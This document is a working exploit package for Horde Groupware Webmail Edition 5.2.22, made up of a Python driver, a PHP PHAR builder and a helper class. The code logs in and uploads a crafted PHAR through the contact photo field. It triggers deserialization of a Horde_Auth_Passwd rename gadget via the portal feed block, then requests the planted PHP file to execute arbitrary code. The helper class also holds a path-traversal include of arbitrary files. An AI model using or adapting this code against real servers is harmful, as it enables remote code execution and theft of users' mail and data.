Horde Groupware Webmail Edition 5.2.22 – PHAR Loading
## exploit-phar-loading.py #!/usr/bin/env python3 from horde import Horde import requests import subprocess import sys TEMP_DIR = '/tmp' WWW_ROOT = '/var/www/html' if len(sys.argv) < 5: print('Usage: <base_url> <username> <password> <filename> <php_code>') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] source = '{}/{}.phar'.format(TEMP_DIR, filename) destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually) temp = 'temp.phar' url = '{}/static/{}.php'.format(base_url, filename) # log into the web application horde = Horde(base_url, username, password) # create a PHAR that performs a rename when loaded and runs the payload when executed subprocess.run([ 'php', 'create-renaming-phar.php', temp, source, destination, php_code ], stderr=subprocess.DEVNULL) # upload the PHAR with open(temp, 'rb') as fs: phar_data = fs.read() horde.upload_to_tmp('{}.phar'.format(filename), phar_data) # load the phar thus triggering the rename horde.trigger_phar(source) # issue a request to trigger the payload response = requests.get(url) print(response.text) ## exploit-phar-loading.py EOF ## create-renaming-phar.php #!/usr/bin/env php <?php // the __destruct method of Horde_Auth_Passwd eventually calls // rename($this->_lockfile, $this->_params['filename']) if $this->_locked class Horde_Auth_Passwd { // visibility must match since protected members are prefixed by "\x00*\x00" protected $_locked; protected $_params; function __construct($source, $destination) { $this->_params = array('filename' => $destination); $this->_locked = true; $this->_lockfile = $source; } }; function createPhar($path, $source, $destination, $stub) { // create the object and specify source and destination files $object = new Horde_Auth_Passwd($source, $destination); // create the PHAR $phar = new Phar($path); $phar->startBuffering(); $phar->addFromString('x', ''); $phar->setStub("<?php $stub __HALT_COMPILER();"); $phar->setMetadata($object); $phar->stopBuffering(); } function main() { global $argc, $argv; // check arguments if ($argc != 5) { fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n"); exit(1); } // create a fresh new phar $path = $argv[1]; $source = $argv[2]; $destination = $argv[3]; $stub = $argv[4]; @unlink($path); createPhar($path, $source, $destination, $stub); } main(); ## create-renaming-phar.php EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF |